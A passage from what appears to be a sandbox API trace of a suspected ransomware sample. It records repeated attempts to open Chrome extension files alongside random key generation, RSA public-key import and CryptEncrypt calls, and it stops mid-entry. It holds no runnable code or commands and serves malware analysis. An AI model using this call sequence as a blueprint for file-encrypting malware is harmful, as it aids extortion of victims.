dwFlags=0x0, pbData=0xbf90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbf90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.051] GetLastError () returned 0x0 [0244.051] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.051] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.056] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0244.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.056] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.062] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.062] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.063] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.065] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784708) returned 1 [0244.066] CryptGetKeyParam (in: hKey=0x6784708, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.066] CryptEncrypt (in: hKey=0x6784708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbfa0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbfa0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.066] GetLastError () returned 0x0 [0244.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.066] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.068] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67843c8) returned 1 [0244.068] CryptGetKeyParam (in: hKey=0x67843c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.068] CryptEncrypt (in: hKey=0x67843c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbfb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbfb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.068] GetLastError () returned 0x0 [0244.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.068] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.068] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.073] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0244.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.073] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.078] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.078] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.081] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784408) returned 1 [0244.081] CryptGetKeyParam (in: hKey=0x6784408, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.081] CryptEncrypt (in: hKey=0x6784408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbfc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbfc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.081] GetLastError () returned 0x0 [0244.081] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.081] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.083] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784288) returned 1 [0244.083] CryptGetKeyParam (in: hKey=0x6784288, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.083] CryptEncrypt (in: hKey=0x6784288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbfd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbfd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.083] GetLastError () returned 0x0 [0244.083] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.083] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.084] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0244.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.089] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0244.089] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.089] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.093] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.093] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.093] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.093] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.096] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784748) returned 1 [0244.096] CryptGetKeyParam (in: hKey=0x6784748, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.096] CryptEncrypt (in: hKey=0x6784748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbfe0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xbfe0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.097] GetLastError () returned 0x0 [0244.097] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.097] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.099] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784688) returned 1 [0244.099] CryptGetKeyParam (in: hKey=0x6784688, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.099] CryptEncrypt (in: hKey=0x6784688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbff0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xbff0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.099] GetLastError () returned 0x0 [0244.099] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.099] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0244.102] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.105] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0244.105] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.105] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0244.108] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.110] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.110] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0244.110] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.110] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0244.113] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784548) returned 1 [0244.113] CryptGetKeyParam (in: hKey=0x6784548, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.113] CryptEncrypt (in: hKey=0x6784548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc000000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xc000000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0244.113] GetLastError () returned 0x0 [0244.113] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.113] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0244.115] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67840c8) returned 1 [0244.115] CryptGetKeyParam (in: hKey=0x67840c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0244.115] CryptEncrypt (in: hKey=0x67840c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc010000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xc010000*, pdwDataLen=0x285d120*=0x100) returned 1 [0244.115] GetLastError () returned 0x0 [0244.115] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.115] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.119] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.124] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.124] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.124] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.126] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.128] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.129] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.129] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.129] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.131] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67845c8) returned 1 [0244.131] CryptGetKeyParam (in: hKey=0x67845c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.131] CryptEncrypt (in: hKey=0x67845c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc020000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc020000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.131] GetLastError () returned 0x0 [0244.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.131] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.133] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784608) returned 1 [0244.133] CryptGetKeyParam (in: hKey=0x6784608, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.133] CryptEncrypt (in: hKey=0x6784608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc030000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc030000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.134] GetLastError () returned 0x0 [0244.134] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.134] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.134] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.140] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.140] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.140] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.145] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.145] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.148] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67844c8) returned 1 [0244.148] CryptGetKeyParam (in: hKey=0x67844c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.148] CryptEncrypt (in: hKey=0x67844c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc040000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc040000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.148] GetLastError () returned 0x0 [0244.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.148] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.150] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784108) returned 1 [0244.150] CryptGetKeyParam (in: hKey=0x6784108, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.150] CryptEncrypt (in: hKey=0x6784108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc050000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc050000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.150] GetLastError () returned 0x0 [0244.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.150] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.152] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.157] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.157] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.157] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.162] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.162] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.162] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.162] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.164] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784b48) returned 1 [0244.164] CryptGetKeyParam (in: hKey=0x6784b48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.164] CryptEncrypt (in: hKey=0x6784b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc060000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc060000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.165] GetLastError () returned 0x0 [0244.165] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.165] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.166] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784e48) returned 1 [0244.166] CryptGetKeyParam (in: hKey=0x6784e48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.166] CryptEncrypt (in: hKey=0x6784e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc070000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc070000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.167] GetLastError () returned 0x0 [0244.167] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.167] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 